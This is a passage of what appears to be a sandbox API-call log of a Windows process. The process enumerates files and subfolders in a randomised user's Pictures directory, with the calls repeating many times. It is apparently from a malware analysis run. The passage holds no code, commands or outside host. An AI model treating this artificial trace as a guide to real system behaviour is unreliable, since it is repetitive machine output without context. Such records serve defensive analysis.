lpFilePart=0x0) returned 0x35 [0080.435] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", lpFilePart=0x0) returned 0x35 [0080.435] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", lpFilePart=0x0) returned 0x35 [0080.436] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e900) returned 1 [0080.436] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi", lpFilePart=0x0) returned 0x35 [0080.436] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\", nBufferLength=0x105, lpBuffer=0x1ca2e390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\", lpFilePart=0x0) returned 0x36 [0080.436] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\*", lpFindFileData=0x1ca2e5a0 | out: lpFindFileData=0x1ca2e5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2db9080, ftCreationTime.dwHighDateTime=0x1d5dbef, ftLastAccessTime.dwLowDateTime=0x3fba2470, ftLastAccessTime.dwHighDateTime=0x1d5dd30, ftLastWriteTime.dwLowDateTime=0x3fba2470, ftLastWriteTime.dwHighDateTime=0x1d5dd30, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a7d0 [0080.436] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2db9080, ftCreationTime.dwHighDateTime=0x1d5dbef, ftLastAccessTime.dwLowDateTime=0x3fba2470, ftLastAccessTime.dwHighDateTime=0x1d5dd30, ftLastWriteTime.dwLowDateTime=0x3fba2470, ftLastWriteTime.dwHighDateTime=0x1d5dd30, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.436] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7a541f0, ftCreationTime.dwHighDateTime=0x1d5de92, ftLastAccessTime.dwLowDateTime=0xdc50b5d0, ftLastAccessTime.dwHighDateTime=0x1d5e729, ftLastWriteTime.dwLowDateTime=0xdc50b5d0, ftLastWriteTime.dwHighDateTime=0x1d5e729, nFileSizeHigh=0x0, nFileSizeLow=0x12ea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LXiPb7nYhAL11rJLr.bmp", cAlternateFileName="LXIPB7~1.BMP")) returned 1 [0080.437] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a90e800, ftCreationTime.dwHighDateTime=0x1d5dd8d, ftLastAccessTime.dwLowDateTime=0x55e56010, ftLastAccessTime.dwHighDateTime=0x1d5d9a3, ftLastWriteTime.dwLowDateTime=0x55e56010, ftLastWriteTime.dwHighDateTime=0x1d5d9a3, nFileSizeHigh=0x0, nFileSizeLow=0x180ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="nnsTQZrUFVZmt95H.jpg", cAlternateFileName="NNSTQZ~1.JPG")) returned 1 [0080.437] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7cb9ab0, ftCreationTime.dwHighDateTime=0x1d5d841, ftLastAccessTime.dwLowDateTime=0x7ff54200, ftLastAccessTime.dwHighDateTime=0x1d5e4b9, ftLastWriteTime.dwLowDateTime=0x7ff54200, ftLastWriteTime.dwHighDateTime=0x1d5e4b9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tOfL", cAlternateFileName="")) returned 1 [0080.437] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", lpFilePart=0x0) returned 0x3a [0080.437] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", lpFilePart=0x0) returned 0x3a [0080.437] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", lpFilePart=0x0) returned 0x3a [0080.437] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", lpFilePart=0x0) returned 0x3a [0080.437] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", lpFilePart=0x0) returned 0x3a [0080.437] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", lpFilePart=0x0) returned 0x3a [0080.437] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", lpFilePart=0x0) returned 0x3a [0080.437] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", lpFilePart=0x0) returned 0x3a [0080.438] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", lpFilePart=0x0) returned 0x3a [0080.438] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", lpFilePart=0x0) returned 0x3a [0080.438] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", lpFilePart=0x0) returned 0x3a [0080.438] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", lpFilePart=0x0) returned 0x3a [0080.438] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", lpFilePart=0x0) returned 0x3a [0080.438] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", lpFilePart=0x0) returned 0x3a [0080.438] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", lpFilePart=0x0) returned 0x3a [0080.438] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", lpFilePart=0x0) returned 0x3a [0080.438] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", lpFilePart=0x0) returned 0x3a [0080.438] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", lpFilePart=0x0) returned 0x3a [0080.438] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", lpFilePart=0x0) returned 0x3a [0080.438] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", lpFilePart=0x0) returned 0x3a [0080.438] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", lpFilePart=0x0) returned 0x3a [0080.438] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", lpFilePart=0x0) returned 0x3a [0080.439] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8a0) returned 1 [0080.439] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", nBufferLength=0x105, lpBuffer=0x1ca2e390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", lpFilePart=0x0) returned 0x3a [0080.439] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\", nBufferLength=0x105, lpBuffer=0x1ca2e330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\", lpFilePart=0x0) returned 0x3b [0080.439] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\*", lpFindFileData=0x1ca2e540 | out: lpFindFileData=0x1ca2e540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7cb9ab0, ftCreationTime.dwHighDateTime=0x1d5d841, ftLastAccessTime.dwLowDateTime=0x7ff54200, ftLastAccessTime.dwHighDateTime=0x1d5e4b9, ftLastWriteTime.dwLowDateTime=0x7ff54200, ftLastWriteTime.dwHighDateTime=0x1d5e4b9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a830 [0080.439] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7cb9ab0, ftCreationTime.dwHighDateTime=0x1d5d841, ftLastAccessTime.dwLowDateTime=0x7ff54200, ftLastAccessTime.dwHighDateTime=0x1d5e4b9, ftLastWriteTime.dwLowDateTime=0x7ff54200, ftLastWriteTime.dwHighDateTime=0x1d5e4b9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.439] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdaabc60, ftCreationTime.dwHighDateTime=0x1d5dd6b, ftLastAccessTime.dwLowDateTime=0x634791d0, ftLastAccessTime.dwHighDateTime=0x1d5defb, ftLastWriteTime.dwLowDateTime=0x634791d0, ftLastWriteTime.dwHighDateTime=0x1d5defb, nFileSizeHigh=0x0, nFileSizeLow=0x5a35, dwReserved0=0x0, dwReserved1=0x0, cFileName="5n41EH9uagXb6iV9IGNW.gif", cAlternateFileName="5N41EH~1.GIF")) returned 1 [0080.440] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0084720, ftCreationTime.dwHighDateTime=0x1d5dd60, ftLastAccessTime.dwLowDateTime=0x448ff970, ftLastAccessTime.dwHighDateTime=0x1d5e686, ftLastWriteTime.dwLowDateTime=0x448ff970, ftLastWriteTime.dwHighDateTime=0x1d5e686, nFileSizeHigh=0x0, nFileSizeLow=0x109c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="bopt0qA6d.gif", cAlternateFileName="BOPT0Q~1.GIF")) returned 1 [0080.440] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x247ee400, ftCreationTime.dwHighDateTime=0x1d5e42b, ftLastAccessTime.dwLowDateTime=0x399eaaa0, ftLastAccessTime.dwHighDateTime=0x1d5e5a2, ftLastWriteTime.dwLowDateTime=0x399eaaa0, ftLastWriteTime.dwHighDateTime=0x1d5e5a2, nFileSizeHigh=0x0, nFileSizeLow=0x136c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="cRcHV7bYD0NmNa L iC.png", cAlternateFileName="CRCHV7~1.PNG")) returned 1 [0080.440] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59419e00, ftCreationTime.dwHighDateTime=0x1d5df83, ftLastAccessTime.dwLowDateTime=0xf2e0e020, ftLastAccessTime.dwHighDateTime=0x1d5e0af, ftLastWriteTime.dwLowDateTime=0xf2e0e020, ftLastWriteTime.dwHighDateTime=0x1d5e0af, nFileSizeHigh=0x0, nFileSizeLow=0x8ca0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DscltQSPgL.jpg", cAlternateFileName="DSCLTQ~1.JPG")) returned 1 [0080.440] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4125ba20, ftCreationTime.dwHighDateTime=0x1d5e098, ftLastAccessTime.dwLowDateTime=0xf8e69390, ftLastAccessTime.dwHighDateTime=0x1d5daa4, ftLastWriteTime.dwLowDateTime=0xf8e69390, ftLastWriteTime.dwHighDateTime=0x1d5daa4, nFileSizeHigh=0x0, nFileSizeLow=0xc7b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="E0MxQ81ml.gif", cAlternateFileName="E0MXQ8~1.GIF")) returned 1 [0080.440] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e9bb160, ftCreationTime.dwHighDateTime=0x1d5e484, ftLastAccessTime.dwLowDateTime=0xe7cd6c60, ftLastAccessTime.dwHighDateTime=0x1d5e115, ftLastWriteTime.dwLowDateTime=0xe7cd6c60, ftLastWriteTime.dwHighDateTime=0x1d5e115, nFileSizeHigh=0x0, nFileSizeLow=0xa6c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gvmhr56drZ8Sr5eoymp.png", cAlternateFileName="GVMHR5~1.PNG")) returned 1 [0080.441] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cb7cdb0, ftCreationTime.dwHighDateTime=0x1d5e68f, ftLastAccessTime.dwLowDateTime=0xe629c090, ftLastAccessTime.dwHighDateTime=0x1d5e0eb, ftLastWriteTime.dwLowDateTime=0xe629c090, ftLastWriteTime.dwHighDateTime=0x1d5e0eb, nFileSizeHigh=0x0, nFileSizeLow=0xb01b, dwReserved0=0x0, dwReserved1=0x0, cFileName="kpxw_vjX1INpKG6.jpg", cAlternateFileName="KPXW_V~1.JPG")) returned 1 [0080.441] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e67a9b0, ftCreationTime.dwHighDateTime=0x1d5e20c, ftLastAccessTime.dwLowDateTime=0xdf37ab00, ftLastAccessTime.dwHighDateTime=0x1d5e62a, ftLastWriteTime.dwLowDateTime=0xdf37ab00, ftLastWriteTime.dwHighDateTime=0x1d5e62a, nFileSizeHigh=0x0, nFileSizeLow=0xa6f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="L2h8fZJ8j9.bmp", cAlternateFileName="L2H8FZ~1.BMP")) returned 1 [0080.441] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e67a9b0, ftCreationTime.dwHighDateTime=0x1d5e20c, ftLastAccessTime.dwLowDateTime=0xdf37ab00, ftLastAccessTime.dwHighDateTime=0x1d5e62a, ftLastWriteTime.dwLowDateTime=0xdf37ab00, ftLastWriteTime.dwHighDateTime=0x1d5e62a, nFileSizeHigh=0x0, nFileSizeLow=0xa6f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="L2h8fZJ8j9.bmp", cAlternateFileName="L2H8FZ~1.BMP")) returned 0 [0080.441] FindClose (in: hFindFile=0x1a62a830 | out: hFindFile=0x1a62a830) returned 1 [0080.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e880) returned 1 [0080.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e870) returned 1 [0080.442] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0080.442] FindClose (in: hFindFile=0x1a62a7d0 | out: hFindFile=0x1a62a7d0) returned 1 [0080.442] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8e0) returned 1 [0080.442] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8d0) returned 1 [0080.442] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdefb4c10, ftCreationTime.dwHighDateTime=0x1d5d936, ftLastAccessTime.dwLowDateTime=0x5d172f10, ftLastAccessTime.dwHighDateTime=0x1d5d888, ftLastWriteTime.dwLowDateTime=0x5d172f10, ftLastWriteTime.dwHighDateTime=0x1d5d888, nFileSizeHigh=0x0, nFileSizeLow=0xa279, dwReserved0=0x0, dwReserved1=0x0, cFileName="UPUSS1LYnS0AOKc.bmp", cAlternateFileName="UPUSS1~1.BMP")) returned 1 [0080.442] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58bee5d0, ftCreationTime.dwHighDateTime=0x1d5e69c, ftLastAccessTime.dwLowDateTime=0x33536310, ftLastAccessTime.dwHighDateTime=0x1d5e233, ftLastWriteTime.dwLowDateTime=0x33536310, ftLastWriteTime.dwHighDateTime=0x1d5e233, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VU8DvDzM7aU", cAlternateFileName="VU8DVD~1")) returned 1 [0080.442] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", lpFilePart=0x0) returned 0x32 [0080.442] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", lpFilePart=0x0) returned 0x32 [0080.442] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", lpFilePart=0x0) returned 0x32 [0080.443] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", lpFilePart=0x0) returned 0x32 [0080.443] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", lpFilePart=0x0) returned 0x32 [0080.443] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", lpFilePart=0x0) returned 0x32 [0080.443] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", lpFilePart=0x0) returned 0x32 [0080.443] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", lpFilePart=0x0) returned 0x32 [0080.443] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", lpFilePart=0x0) returned 0x32 [0080.443] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", lpFilePart=0x0) returned 0x32 [0080.443] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", lpFilePart=0x0) returned 0x32 [0080.443] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", lpFilePart=0x0) returned 0x32 [0080.443] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", lpFilePart=0x0) returned 0x32 [0080.443] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS 